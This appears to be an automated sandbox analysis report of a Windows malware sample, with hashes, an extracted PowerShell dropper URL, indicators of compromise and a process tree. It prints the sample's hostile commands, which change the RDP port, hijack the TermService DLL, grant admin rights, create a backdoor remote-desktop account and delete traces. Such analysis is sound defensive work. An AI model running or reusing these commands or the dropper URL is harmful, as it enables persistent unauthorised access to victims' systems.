2142824c415eb4f05facc471942840e5065aa41b322f36dac198d30d00e8b6fc

Analysis

max time kernel
63s
max time network
91s
platform
windows10_x64
resource
win10v20210408
submitted
09/07/2021, 18:51

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General

Target
dbad0a50ee82c2e5dff20a24858b7a06.exe
Size 3.2MB
Sample210709-4hevejhr5a
SHA256 2142824c415eb4f05facc471942840e5065aa41b322f36dac198d30d00e8b6fc
MD5 dbad0a50ee82c2e5dff20a24858b7a06
SHA1 ccc3ee69a33b31581de0fecb911d5d8974288d60
SHA512 efa131f53702c4f2165616981372d853bde00fe4d255ee3e5ee40fac6675ec1d6acac7e98db47fd2cdaa0175fdda07d6bbb76b971a62eeb5d0ff03a0ddb20ca2
MD5 SHA1 SHA512

Score

10^/10

persistence upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral2/memory/4060-119-0x000000001D640000-0x000000001DAF1000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
14	2320	powershell.exe
16	2320	powershell.exe
17	2320	powershell.exe
18	2320	powershell.exe
20	2320	powershell.exe
22	2320	powershell.exe
24	2320	powershell.exe
26	2320	powershell.exe
28	2320	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000001ab25-369.dat	upx
behavioral2/files/0x000500000001ab2e-370.dat	upx

Deletes itself 1 IoCs

pid	Process
1104	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
3672	Process not Found
3672	Process not Found

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4060 set thread context of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID25A.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_dsp3wfg0.yti.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID28C.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID26B.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID27B.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_mmqxcqas.tux.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID1DC.tmp	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3836	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
212	powershell.exe
212	powershell.exe
212	powershell.exe
3912	powershell.exe
3912	powershell.exe
3912	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
612	Process not Found
612	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeIncreaseQuotaPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe
Token: SeTakeOwnershipPrivilege	2388	powershell.exe
Token: SeLoadDriverPrivilege	2388	powershell.exe
Token: SeSystemProfilePrivilege	2388	powershell.exe
Token: SeSystemtimePrivilege	2388	powershell.exe
Token: SeProfSingleProcessPrivilege	2388	powershell.exe
Token: SeIncBasePriorityPrivilege	2388	powershell.exe
Token: SeCreatePagefilePrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeRestorePrivilege	2388	powershell.exe
Token: SeShutdownPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeSystemEnvironmentPrivilege	2388	powershell.exe
Token: SeRemoteShutdownPrivilege	2388	powershell.exe
Token: SeUndockPrivilege	2388	powershell.exe
Token: SeManageVolumePrivilege	2388	powershell.exe
Token: 33	2388	powershell.exe
Token: 34	2388	powershell.exe
Token: 35	2388	powershell.exe
Token: 36	2388	powershell.exe
Token: SeDebugPrivilege	212	powershell.exe
Token: SeIncreaseQuotaPrivilege	212	powershell.exe
Token: SeSecurityPrivilege	212	powershell.exe
Token: SeTakeOwnershipPrivilege	212	powershell.exe
Token: SeLoadDriverPrivilege	212	powershell.exe
Token: SeSystemProfilePrivilege	212	powershell.exe
Token: SeSystemtimePrivilege	212	powershell.exe
Token: SeProfSingleProcessPrivilege	212	powershell.exe
Token: SeIncBasePriorityPrivilege	212	powershell.exe
Token: SeCreatePagefilePrivilege	212	powershell.exe
Token: SeBackupPrivilege	212	powershell.exe
Token: SeRestorePrivilege	212	powershell.exe
Token: SeShutdownPrivilege	212	powershell.exe
Token: SeDebugPrivilege	212	powershell.exe
Token: SeSystemEnvironmentPrivilege	212	powershell.exe
Token: SeRemoteShutdownPrivilege	212	powershell.exe
Token: SeUndockPrivilege	212	powershell.exe
Token: SeManageVolumePrivilege	212	powershell.exe
Token: 33	212	powershell.exe
Token: 34	212	powershell.exe
Token: 35	212	powershell.exe
Token: 36	212	powershell.exe
Token: SeDebugPrivilege	3912	powershell.exe
Token: SeIncreaseQuotaPrivilege	3912	powershell.exe
Token: SeSecurityPrivilege	3912	powershell.exe
Token: SeTakeOwnershipPrivilege	3912	powershell.exe
Token: SeLoadDriverPrivilege	3912	powershell.exe
Token: SeSystemProfilePrivilege	3912	powershell.exe
Token: SeSystemtimePrivilege	3912	powershell.exe
Token: SeProfSingleProcessPrivilege	3912	powershell.exe
Token: SeIncBasePriorityPrivilege	3912	powershell.exe
Token: SeCreatePagefilePrivilege	3912	powershell.exe
Token: SeBackupPrivilege	3912	powershell.exe
Token: SeRestorePrivilege	3912	powershell.exe
Token: SeShutdownPrivilege	3912	powershell.exe
Token: SeDebugPrivilege	3912	powershell.exe
Token: SeSystemEnvironmentPrivilege	3912	powershell.exe
Token: SeRemoteShutdownPrivilege	3912	powershell.exe
Token: SeUndockPrivilege	3912	powershell.exe
Token: SeManageVolumePrivilege	3912	powershell.exe
Token: 33	3912	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 4060 wrote to memory of 3752	4060	dbad0a50ee82c2e5dff20a24858b7a06.exe	75
PID 3752 wrote to memory of 1104	3752	vbc.exe	76
PID 3752 wrote to memory of 1104	3752	vbc.exe	76
PID 1104 wrote to memory of 644	1104	powershell.exe	78
PID 1104 wrote to memory of 644	1104	powershell.exe	78
PID 644 wrote to memory of 2100	644	csc.exe	79
PID 644 wrote to memory of 2100	644	csc.exe	79
PID 1104 wrote to memory of 2388	1104	powershell.exe	82
PID 1104 wrote to memory of 2388	1104	powershell.exe	82
PID 1104 wrote to memory of 212	1104	powershell.exe	86
PID 1104 wrote to memory of 212	1104	powershell.exe	86
PID 1104 wrote to memory of 3912	1104	powershell.exe	88
PID 1104 wrote to memory of 3912	1104	powershell.exe	88
PID 1104 wrote to memory of 1300	1104	powershell.exe	90
PID 1104 wrote to memory of 1300	1104	powershell.exe	90
PID 1104 wrote to memory of 3836	1104	powershell.exe	91
PID 1104 wrote to memory of 3836	1104	powershell.exe	91
PID 1104 wrote to memory of 644	1104	powershell.exe	92
PID 1104 wrote to memory of 644	1104	powershell.exe	92
PID 1104 wrote to memory of 1164	1104	powershell.exe	93
PID 1104 wrote to memory of 1164	1104	powershell.exe	93
PID 1164 wrote to memory of 3180	1164	net.exe	94
PID 1164 wrote to memory of 3180	1164	net.exe	94
PID 1104 wrote to memory of 500	1104	powershell.exe	95
PID 1104 wrote to memory of 500	1104	powershell.exe	95
PID 500 wrote to memory of 3560	500	cmd.exe	96
PID 500 wrote to memory of 3560	500	cmd.exe	96
PID 3560 wrote to memory of 212	3560	cmd.exe	97
PID 3560 wrote to memory of 212	3560	cmd.exe	97
PID 212 wrote to memory of 1052	212	net.exe	98
PID 212 wrote to memory of 1052	212	net.exe	98
PID 1104 wrote to memory of 3008	1104	powershell.exe	99
PID 1104 wrote to memory of 3008	1104	powershell.exe	99
PID 3008 wrote to memory of 3644	3008	cmd.exe	100
PID 3008 wrote to memory of 3644	3008	cmd.exe	100
PID 3644 wrote to memory of 1300	3644	cmd.exe	101
PID 3644 wrote to memory of 1300	3644	cmd.exe	101
PID 1300 wrote to memory of 3836	1300	net.exe	102
PID 1300 wrote to memory of 3836	1300	net.exe	102
PID 1488 wrote to memory of 3728	1488	cmd.exe	106
PID 1488 wrote to memory of 3728	1488	cmd.exe	106
PID 3728 wrote to memory of 2072	3728	net.exe	107
PID 3728 wrote to memory of 2072	3728	net.exe	107
PID 3820 wrote to memory of 2264	3820	cmd.exe	110
PID 3820 wrote to memory of 2264	3820	cmd.exe	110
PID 2264 wrote to memory of 3716	2264	net.exe	111
PID 2264 wrote to memory of 3716	2264	net.exe	111
PID 3640 wrote to memory of 3560	3640	cmd.exe	114
PID 3640 wrote to memory of 3560	3640	cmd.exe	114
PID 3560 wrote to memory of 668	3560	net.exe	115
PID 3560 wrote to memory of 668	3560	net.exe	115
PID 1320 wrote to memory of 3728	1320	cmd.exe	118
PID 1320 wrote to memory of 3728	1320	cmd.exe	118
PID 3728 wrote to memory of 2000	3728	net.exe	119
PID 3728 wrote to memory of 2000	3728	net.exe	119

C:\Users\Admin\AppData\Local\Temp\dbad0a50ee82c2e5dff20a24858b7a06.exe
"C:\Users\Admin\AppData\Local\Temp\dbad0a50ee82c2e5dff20a24858b7a06.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4060
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1104
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0nspcssq\0nspcssq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:644
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7507.tmp" "c:\Users\Admin\AppData\Local\Temp\0nspcssq\CSC7CFEF2B3777F43D8BE553381D6BDF15.TMP"
        5⤵
        
        PID:2100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3912
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1300
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:3836
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:644
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1164
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3180
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:500
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3560
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:212
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1052
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3644
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1300
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:3836
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:3820
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:3260

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2072

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc cPQqaRw1 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc cPQqaRw1 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc cPQqaRw1 /add
    3⤵
    PID:3716

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:668

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:2000

